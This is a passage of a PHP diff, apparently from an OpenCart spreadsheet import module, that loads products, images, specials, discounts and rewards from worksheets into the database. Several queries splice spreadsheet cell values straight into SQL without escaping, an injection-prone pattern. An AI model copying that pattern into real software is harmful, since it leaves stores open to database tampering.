+ $sql .= "DELETE FROM `".DB_PREFIX."product_description` WHERE `product_id` = '$product_id';\n";
+ $sql .= "DELETE FROM `".DB_PREFIX."product_to_category` WHERE `product_id` = '$product_id';\n";
+ $sql .= "DELETE FROM `".DB_PREFIX."product_to_store` WHERE `product_id` = '$product_id';\n";
+ if (!$this->use_table_seo_url) {
+ $sql .= "DELETE FROM `".DB_PREFIX."url_alias` WHERE `query` LIKE 'product_id=$product_id';\n";
+ }
+ $sql .= "DELETE FROM `".DB_PREFIX."product_related` WHERE `product_id` = '$product_id';\n";
+ $sql .= "DELETE FROM `".DB_PREFIX."product_to_layout` WHERE `product_id` = '$product_id';\n";
+ if ($exist_table_product_tag) {
+ $sql .= "DELETE FROM `".DB_PREFIX."product_tag` WHERE `product_id` = '$product_id';\n";
+ }
+ $this->multiquery( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductCells( $i, &$j, &$worksheet, &$product ) {
+ return;
+ }
+
+
+ protected function uploadProducts( &$reader, $incremental, &$available_product_ids=array() ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Products' );
+ if ($data==null) {
+ return;
+ }
+
+ // save product view counts
+ $view_counts = $this->getProductViewCounts();
+
+ // save old url_alias_ids
+ $url_alias_ids = array();
+ if (!$this->use_table_seo_url) {
+ $url_alias_ids = $this->getProductUrlAliasIds();
+ }
+
+ // some older versions of OpenCart use the 'product_tag' table
+ $exist_table_product_tag = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."product_tag'" );
+ $exist_table_product_tag = ($query->num_rows > 0);
+
+ // Opencart versions from 2.0 onwards also have product_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ // if incremental then find current product IDs else delete all old products
+ $available_product_ids = array();
+ if ($incremental) {
+ $old_product_ids = $this->getAvailableProductIds($data);
+ } else {
+ $this->deleteProducts($exist_table_product_tag,$url_alias_ids);
+ }
+
+ // get pre-defined layouts
+ $layout_ids = $this->getLayoutIds();
+
+ // get pre-defined store_ids
+ $available_store_ids = $this->getAvailableStoreIds();
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // find the default units
+ $default_weight_unit = $this->getDefaultWeightUnit();
+ $default_measurement_unit = $this->getDefaultMeasurementUnit();
+ $default_stock_status_id = $this->config->get('config_stock_status_id');
+
+ // find existing manufacturers, only newly specified manufacturers will be added
+ $manufacturers = $this->getManufacturers();
+
+ // get weight classes
+ $weight_class_ids = $this->getWeightClassIds();
+
+ // get length classes
+ $length_class_ids = $this->getLengthClassIds();
+
+ // get list of the field names, some are only available for certain OpenCart versions
+ $query = $this->db->query( "DESCRIBE `".DB_PREFIX."product`" );
+ $product_fields = array();
+ foreach ($query->rows as $row) {
+ $product_fields[] = $row['Field'];
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $names = array();
+ while ($this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $categories = $this->getCell($data,$i,$j++);
+ $sku = $this->getCell($data,$i,$j++,'');
+ $upc = $this->getCell($data,$i,$j++,'');
+ if (in_array('ean',$product_fields)) {
+ $ean = $this->getCell($data,$i,$j++,'');
+ }
+ if (in_array('jan',$product_fields)) {
+ $jan = $this->getCell($data,$i,$j++,'');
+ }
+ if (in_array('isbn',$product_fields)) {
+ $isbn = $this->getCell($data,$i,$j++,'');
+ }
+ if (in_array('mpn',$product_fields)) {
+ $mpn = $this->getCell($data,$i,$j++,'');
+ }
+ $location = $this->getCell($data,$i,$j++,'');
+ $quantity = $this->getCell($data,$i,$j++,'0');
+ $model = $this->getCell($data,$i,$j++,' ');
+ $manufacturer_name = $this->getCell($data,$i,$j++);
+ $image_name = $this->getCell($data,$i,$j++);
+ $shipping = $this->getCell($data,$i,$j++,'yes');
+ $price = $this->getCell($data,$i,$j++,'0.00');
+ $price_2 = $this->getCell($data,$i,$j++,'0.00');
+ $price_3 = $this->getCell($data,$i,$j++,'0.00');
+ $points = $this->getCell($data,$i,$j++,'0');
+ $date_added = $this->getCell($data,$i,$j++);
+ $date_added = ((is_string($date_added)) && (strlen($date_added)>0)) ? $date_added : "NOW()";
+ $date_modified = $this->getCell($data,$i,$j++);
+ $date_modified = ((is_string($date_modified)) && (strlen($date_modified)>0)) ? $date_modified : "NOW()";
+ $date_available = $this->getCell($data,$i,$j++);
+ $date_available = ((is_string($date_available)) && (strlen($date_available)>0)) ? $date_available : "NOW()";
+ $weight = $this->getCell($data,$i,$j++,'0');
+ $weight_unit = $this->getCell($data,$i,$j++,$default_weight_unit);
+ $length = $this->getCell($data,$i,$j++,'0');
+ $width = $this->getCell($data,$i,$j++,'0');
+ $height = $this->getCell($data,$i,$j++,'0');
+ $measurement_unit = $this->getCell($data,$i,$j++,$default_measurement_unit);
+ $status = $this->getCell($data,$i,$j++,'true');
+ $tax_class_id = $this->getCell($data,$i,$j++,'0');
+ if (!$this->use_table_seo_url) {
+ $keyword = $this->getCell($data,$i,$j++);
+ }
+ $descriptions = array();
+ while ($this->startsWith($first_row[$j-1],"description(")) {
+ $language_code = substr($first_row[$j-1],strlen("description("),strlen($first_row[$j-1])-strlen("description(")-1);
+ $description = $this->getCell($data,$i,$j++);
+ $description = htmlspecialchars( $description );
+ $descriptions[$language_code] = $description;
+ }
+ if ($exist_meta_title) {
+ $meta_titles = array();
+ while ($this->startsWith($first_row[$j-1],"meta_title(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_title("),strlen($first_row[$j-1])-strlen("meta_title(")-1);
+ $meta_title = $this->getCell($data,$i,$j++);
+ $meta_title = htmlspecialchars( $meta_title );
+ $meta_titles[$language_code] = $meta_title;
+ }
+ }
+ $meta_descriptions = array();
+ while ($this->startsWith($first_row[$j-1],"meta_description(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_description("),strlen($first_row[$j-1])-strlen("meta_description(")-1);
+ $meta_description = $this->getCell($data,$i,$j++);
+ $meta_description = htmlspecialchars( $meta_description );
+ $meta_descriptions[$language_code] = $meta_description;
+ }
+ $meta_keywords = array();
+ while ($this->startsWith($first_row[$j-1],"meta_keywords(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_keywords("),strlen($first_row[$j-1])-strlen("meta_keywords(")-1);
+ $meta_keyword = $this->getCell($data,$i,$j++);
+ $meta_keyword = htmlspecialchars( $meta_keyword );
+ $meta_keywords[$language_code] = $meta_keyword;
+ }
+ $stock_status_id = $this->getCell($data,$i,$j++,$default_stock_status_id);
+ $store_ids = $this->getCell($data,$i,$j++);
+ $layout = $this->getCell($data,$i,$j++);
+ $related = $this->getCell($data,$i,$j++);
+ $tags = array();
+ while ($this->startsWith($first_row[$j-1],"tags(")) {
+ $language_code = substr($first_row[$j-1],strlen("tags("),strlen($first_row[$j-1])-strlen("tags(")-1);
+ $tag = $this->getCell($data,$i,$j++);
+ $tag = htmlspecialchars( $tag );
+ $tags[$language_code] = $tag;
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $subtract = $this->getCell($data,$i,$j++,'true');
+ $minimum = $this->getCell($data,$i,$j++,'1');
+ $product = array();
+ $product['product_id'] = $product_id;
+ $product['names'] = $names;
+ $categories = trim( $this->clean($categories, false) );
+ $product['categories'] = ($categories=="") ? array() : explode( ",", $categories );
+ if ($product['categories']===false) {
+ $product['categories'] = array();
+ }
+ $product['quantity'] = $quantity;
+ $product['model'] = $model;
+ $product['manufacturer_name'] = $manufacturer_name;
+ $product['image'] = $image_name;
+ $product['shipping'] = $shipping;
+ $product['price'] = $price;
+ $product['price_2'] = $price_2;
+ $product['price_3'] = $price_3;
+ $product['points'] = $points;
+ $product['date_added'] = $date_added;
+ $product['date_modified'] = $date_modified;
+ $product['date_available'] = $date_available;
+ $product['weight'] = $weight;
+ $product['weight_unit'] = $weight_unit;
+ $product['status'] = $status;
+ $product['tax_class_id'] = $tax_class_id;
+ $product['viewed'] = isset($view_counts[$product_id]) ? $view_counts[$product_id] : 0;
+ $product['descriptions'] = $descriptions;
+ $product['stock_status_id'] = $stock_status_id;
+ if ($exist_meta_title) {
+ $product['meta_titles'] = $meta_titles;
+ }
+ $product['meta_descriptions'] = $meta_descriptions;
+ $product['length'] = $length;
+ $product['width'] = $width;
+ $product['height'] = $height;
+ if (!$this->use_table_seo_url) {
+ $product['seo_keyword'] = $keyword;
+ }
+ $product['measurement_unit'] = $measurement_unit;
+ $product['sku'] = $sku;
+ $product['upc'] = $upc;
+ if (in_array('ean',$product_fields)) {
+ $product['ean'] = $ean;
+ }
+ if (in_array('jan',$product_fields)) {
+ $product['jan'] = $jan;
+ }
+ if (in_array('isbn',$product_fields)) {
+ $product['isbn'] = $isbn;
+ }
+ if (in_array('mpn',$product_fields)) {
+ $product['mpn'] = $mpn;
+ }
+ $product['location'] = $location;
+ $store_ids = trim( $this->clean($store_ids, false) );
+ $product['store_ids'] = ($store_ids=="") ? array() : explode( ",", $store_ids );
+ if ($product['store_ids']===false) {
+ $product['store_ids'] = array();
+ }
+ $product['related_ids'] = ($related=="") ? array() : explode( ",", $related );
+ if ($product['related_ids']===false) {
+ $product['related_ids'] = array();
+ }
+ $product['layout'] = ($layout=="") ? array() : explode( ",", $layout );
+ if ($product['layout']===false) {
+ $product['layout'] = array();
+ }
+ $product['subtract'] = $subtract;
+ $product['minimum'] = $minimum;
+ $product['meta_keywords'] = $meta_keywords;
+ $product['tags'] = $tags;
+ $product['sort_order'] = $sort_order;
+ if ($incremental) {
+ $this->deleteProduct( $product_id, $exist_table_product_tag );
+ }
+ $available_product_ids[$product_id] = $product_id;
+ $this->moreProductCells( $i, $j, $data, $product );
+ $this->storeProductIntoDatabase( $product, $languages, $product_fields, $exist_table_product_tag, $exist_meta_title, $layout_ids, $available_store_ids, $manufacturers, $weight_class_ids, $length_class_ids, $url_alias_ids );
+ }
+ }
+
+
+ protected function storeAdditionalImageIntoDatabase( &$image, &$old_product_image_ids, $exist_sort_order=true ) {
+ $product_id = $image['product_id'];
+ $image_name = $image['image_name'];
+ if ($exist_sort_order) {
+ $sort_order = $image['sort_order'];
+ }
+ if (isset($old_product_image_ids[$product_id][$image_name])) {
+ $product_image_id = $old_product_image_ids[$product_id][$image_name];
+ if ($exist_sort_order) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_image` (`product_image_id`,`product_id`,`image`,`sort_order` ) VALUES ";
+ $sql .= "($product_image_id,$product_id,'".$this->db->escape($image_name)."',$sort_order)";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_image` (`product_image_id`,`product_id`,`image` ) VALUES ";
+ $sql .= "($product_image_id,$product_id,'".$this->db->escape($image_name)."')";
+ }
+ $this->db->query($sql);
+ unset($old_product_image_ids[$product_id][$image_name]);
+ } else {
+ if ($exist_sort_order) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_image` (`product_id`,`image`,`sort_order` ) VALUES ";
+ $sql .= "($product_id,'".$this->db->escape($image_name)."',$sort_order)";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_image` (`product_id`,`image` ) VALUES ";
+ $sql .= "($product_id,'".$this->db->escape($image_name)."')";
+ }
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteAdditionalImages() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_image`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteAdditionalImage( $product_id ) {
+ $sql = "SELECT product_image_id, product_id, image FROM `".DB_PREFIX."product_image` WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $old_product_image_ids = array();
+ foreach ($query->rows as $row) {
+ $product_image_id = $row['product_image_id'];
+ $product_id = $row['product_id'];
+ $image_name = $row['image'];
+ $old_product_image_ids[$product_id][$image_name] = $product_image_id;
+ }
+ if ($old_product_image_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_image` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_image_ids;
+ }
+
+
+ protected function deleteUnlistedAdditionalImages( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_image` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreAdditionalImageCells( $i, &$j, &$worksheet, &$image ) {
+ return;
+ }
+
+
+ protected function uploadAdditionalImages( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'AdditionalImages' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old additional images
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteAdditionalImages();
+ }
+
+ // check for the existence of product_image.sort_order field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_image` LIKE 'sort_order'";
+ $query = $this->db->query( $sql );
+ $exist_sort_order = ($query->num_rows > 0) ? true : false;
+
+ // load the worksheet cells and store them to the database
+ $old_product_image_ids = array();
+ $previous_product_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j= 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $image_name = $this->getCell($data,$i,$j++,'');
+ if ($exist_sort_order) {
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ }
+ $image = array();
+ $image['product_id'] = $product_id;
+ $image['image_name'] = $image_name;
+ if ($exist_sort_order) {
+ $image['sort_order'] = $sort_order;
+ }
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_image_ids = $this->deleteAdditionalImage( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreAdditionalImageCells( $i, $j, $data, $image );
+ $this->storeAdditionalImageIntoDatabase( $image, $old_product_image_ids, $exist_sort_order );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedAdditionalImages( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function storeSpecialIntoDatabase( &$special, &$old_product_special_ids, &$customer_group_ids ) {
+ $product_id = $special['product_id'];
+ $name = $special['customer_group'];
+ $customer_group_id = isset($customer_group_ids[$name]) ? $customer_group_ids[$name] : $this->config->get('config_customer_group_id');
+ $priority = $special['priority'];
+ $price = $special['price'];
+ $date_start = $special['date_start'];
+ $date_end = $special['date_end'];
+ if (isset($old_product_special_ids[$product_id][$customer_group_id])) {
+ $product_special_id = $old_product_special_ids[$product_id][$customer_group_id];
+ $sql = "INSERT INTO `".DB_PREFIX."product_special` (`product_special_id`,`product_id`,`customer_group_id`,`priority`,`price`,`date_start`,`date_end` ) VALUES ";
+ $sql .= "($product_special_id,$product_id,$customer_group_id,$priority,$price,'$date_start','$date_end')";
+ $this->db->query($sql);
+ unset($old_product_special_ids[$product_id][$customer_group_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_special` (`product_id`,`customer_group_id`,`priority`,`price`,`date_start`,`date_end` ) VALUES ";
+ $sql .= "($product_id,$customer_group_id,$priority,$price,'$date_start','$date_end')";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteSpecials() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_special`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteSpecial( $product_id ) {
+ $sql = "SELECT product_special_id, product_id, customer_group_id FROM `".DB_PREFIX."product_special` WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $old_product_special_ids = array();
+ foreach ($query->rows as $row) {
+ $product_special_id = $row['product_special_id'];
+ $product_id = $row['product_id'];
+ $customer_group_id = $row['customer_group_id'];
+ $old_product_special_ids[$product_id][$customer_group_id] = $product_special_id;
+ }
+ if ($old_product_special_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_special` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_special_ids;
+ }
+
+
+ protected function deleteUnlistedSpecials( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_special` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreSpecialCells( $i, &$j, &$worksheet, &$special ) {
+ return;
+ }
+
+
+ protected function uploadSpecials( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Specials' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old specials
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteSpecials();
+ }
+
+ // get existing customer groups
+ $customer_group_ids = $this->getCustomerGroupIds();
+
+ // load the worksheet cells and store them to the database
+ $old_product_special_ids = array();
+ $previous_product_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j = 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $customer_group = trim($this->getCell($data,$i,$j++));
+ if ($customer_group=="") {
+ continue;
+ }
+ $priority = $this->getCell($data,$i,$j++,'0');
+ $price = $this->getCell($data,$i,$j++,'0');
+ $date_start = $this->getCell($data,$i,$j++,'0000-00-00');
+ $date_end = $this->getCell($data,$i,$j++,'0000-00-00');
+ $special = array();
+ $special['product_id'] = $product_id;
+ $special['customer_group'] = $customer_group;
+ $special['priority'] = $priority;
+ $special['price'] = $price;
+ $special['date_start'] = $date_start;
+ $special['date_end'] = $date_end;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_special_ids = $this->deleteSpecial( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreSpecialCells( $i, $j, $data, $special );
+ $this->storeSpecialIntoDatabase( $special, $old_product_special_ids, $customer_group_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedSpecials( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function storeDiscountIntoDatabase( &$discount, &$old_product_discount_ids, &$customer_group_ids ) {
+ $product_id = $discount['product_id'];
+ $name = $discount['customer_group'];
+ $customer_group_id = isset($customer_group_ids[$name]) ? $customer_group_ids[$name] : $this->config->get('config_customer_group_id');
+ $quantity = $discount['quantity'];
+ $priority = $discount['priority'];
+ $price = $discount['price'];
+ $date_start = $discount['date_start'];
+ $date_end = $discount['date_end'];
+ if (isset($old_product_discount_ids[$product_id][$customer_group_id][$quantity])) {
+ $product_discount_id = $old_product_discount_ids[$product_id][$customer_group_id][$quantity];
+ $sql = "INSERT INTO `".DB_PREFIX."product_discount` (`product_discount_id`,`product_id`,`customer_group_id`,`quantity`,`priority`,`price`,`date_start`,`date_end` ) VALUES ";
+ $sql .= "($product_discount_id,$product_id,$customer_group_id,$quantity,$priority,$price,'$date_start','$date_end')";
+ $this->db->query($sql);
+ unset($old_product_discount_ids[$product_id][$customer_group_id][$quantity]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_discount` (`product_id`,`customer_group_id`,`quantity`,`priority`,`price`,`date_start`,`date_end` ) VALUES ";
+ $sql .= "($product_id,$customer_group_id,$quantity,$priority,$price,'$date_start','$date_end')";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteDiscounts() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_discount`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteDiscount( $product_id ) {
+ $sql = "SELECT product_discount_id, product_id, customer_group_id, quantity FROM `".DB_PREFIX."product_discount` WHERE product_id='".(int)$product_id."' ORDER BY product_id ASC, customer_group_id ASC, quantity ASC;";
+ $query = $this->db->query( $sql );
+ $old_product_discount_ids = array();
+ foreach ($query->rows as $row) {
+ $product_discount_id = $row['product_discount_id'];
+ $product_id = $row['product_id'];
+ $customer_group_id = $row['customer_group_id'];
+ $quantity = $row['quantity'];
+ $old_product_discount_ids[$product_id][$customer_group_id][$quantity] = $product_discount_id;
+ }
+ if ($old_product_discount_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_discount` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_discount_ids;
+ }
+
+
+ protected function deleteUnlistedDiscounts( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_discount` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreDiscountCells( $i, &$j, &$worksheet, &$discount ) {
+ return;
+ }
+
+
+ protected function uploadDiscounts( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Discounts' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old discounts
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteDiscounts();
+ }
+
+ // get existing customer groups
+ $customer_group_ids = $this->getCustomerGroupIds();
+
+ // load the worksheet cells and store them to the database
+ $old_product_discount_ids = array();
+ $previous_product_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j = 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $customer_group = trim($this->getCell($data,$i,$j++));
+ if ($customer_group=="") {
+ continue;
+ }
+ $quantity = $this->getCell($data,$i,$j++,'0');
+ $priority = $this->getCell($data,$i,$j++,'0');
+ $price = $this->getCell($data,$i,$j++,'0');
+ $date_start = $this->getCell($data,$i,$j++,'0000-00-00');
+ $date_end = $this->getCell($data,$i,$j++,'0000-00-00');
+ $discount = array();
+ $discount['product_id'] = $product_id;
+ $discount['customer_group'] = $customer_group;
+ $discount['quantity'] = $quantity;
+ $discount['priority'] = $priority;
+ $discount['price'] = $price;
+ $discount['date_start'] = $date_start;
+ $discount['date_end'] = $date_end;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_discount_ids = $this->deleteDiscount( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreDiscountCells( $i, $j, $data, $discount );
+ $this->storeDiscountIntoDatabase( $discount, $old_product_discount_ids, $customer_group_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedDiscounts( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function storeRewardIntoDatabase( &$reward, &$old_product_reward_ids, &$customer_group_ids ) {
+ $product_id = $reward['product_id'];
+ $name = $reward['customer_group'];
+ $customer_group_id = isset($customer_group_ids[$name]) ? $customer_group_ids[$name] : $this->config->get('config_customer_group_id');
+ $points = $reward['points'];
+ if (isset($old_product_reward_ids[$product_id][$customer_group_id])) {
+ $product_reward_id = $old_product_reward_ids[$product_id][$customer_group_id];
+ $sql = "INSERT INTO `".DB_PREFIX."product_reward` (`product_reward_id`,`product_id`,`customer_group_id`,`points` ) VALUES ";
+ $sql .= "($product_reward_id,$product_id,$customer_group_id,$points)";
+ $this->db->query($sql);
+ unset($old_product_reward_ids[$product_id][$customer_group_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_reward` (`product_id`,`customer_group_id`,`points` ) VALUES ";
+ $sql .= "($product_id,$customer_group_id,$points)";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteRewards() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_reward`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteReward( $product_id ) {
+ $sql = "SELECT product_reward_id, product_id, customer_group_id FROM `".DB_PREFIX."product_reward` WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $old_product_reward_ids = array();
+ foreach ($query->rows as $row) {
+ $product_reward_id = $row['product_reward_id'];
+ $product_id = $row['product_id'];
+ $customer_group_id = $row['customer_group_id'];
+ $old_product_reward_ids[$product_id][$customer_group_id] = $product_reward_id;
+ }
+ if ($old_product_reward_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_reward` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_reward_ids;
+ }
+
+
+ protected function deleteUnlistedRewards( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_reward` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreRewardCells( $i, &$j, &$worksheet, &$reward ) {
+ return;
+ }
+
+
+ protected function uploadRewards( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Rewards' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old rewards
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteRewards();
+ }
+
+ // get existing customer groups
+ $customer_group_ids = $this->getCustomerGroupIds();
+
+ // load the worksheet cells and store them to the database
+ $old_product_reward_ids = array();
+ $previous_product_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j = 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $customer_group = trim($this->getCell($data,$i,$j++));
+ if ($customer_group=="") {
+ continue;
+ }
+ $points = $this->getCell($data,$i,$j++,'0');
+ $reward = array();
+ $reward['product_id'] = $product_id;
+ $reward['customer_group'] = $customer_group;
+ $reward['points'] = $points;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_reward_ids = $this->deleteReward( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreRewardCells( $i, $j, $data, $reward );
+ $this->storeRewardIntoDatabase( $reward, $old_product_reward_ids, $customer_group_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedRewards( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function getOptionIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT option_id, name FROM `".DB_PREFIX."option_description` WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $option_ids = array();
+ foreach ($query->rows as $row) {
+ $option_id = $row['option_id'];
+ $name = htmlspecialchars_decode($row['name']);
+ $option_ids[$name] = $option_id;
+ }
+ return $option_ids;
+ }
+
+
+ protected function storeProductOptionIntoDatabase( &$product_option, &$old_product_option_ids ) {
+ // Opencart versions from 2.0 onwards use product_option.value instead of the older product_option.option_value
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_option` LIKE 'value'";
+ $query = $this->db->query( $sql );
+ $exist_po_value = ($query->num_rows > 0) ? true : false;
+
+ // DB query for storing the product option
+ $product_id = $product_option['product_id'];
+ $option_id = $product_option['option_id'];
+ $option_value = $product_option['option_value'];
+ $required = $product_option['required'];
+ $required = ((strtoupper($required)=="TRUE") || (strtoupper($required)=="YES") || (strtoupper($required)=="ENABLED")) ? 1 : 0;
+ if (isset($old_product_option_ids[$product_id][$option_id])) {
+ $product_option_id = $old_product_option_ids[$product_id][$option_id];
+ if ($exist_po_value) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_option` (`product_option_id`,`product_id`,`option_id`,`value`,`required` ) VALUES ";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_option` (`product_option_id`,`product_id`,`option_id`,`option_value`,`required` ) VALUES ";
+ }
+ $sql .= "($product_option_id,$product_id,$option_id,'".$this->db->escape($option_value)."',$required)";
+ $this->db->query($sql);
+ unset($old_product_option_ids[$product_id][$option_id]);
+ } else {
+ if ($exist_po_value) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_option` (`product_id`,`option_id`,`value`,`required` ) VALUES ";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_option` (`product_id`,`option_id`,`option_value`,`required` ) VALUES ";
+ }
+ $sql .= "($product_id,$option_id,'".$this->db->escape($option_value)."',$required)";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteProductOptions() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_option`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductOption( $product_id ) {
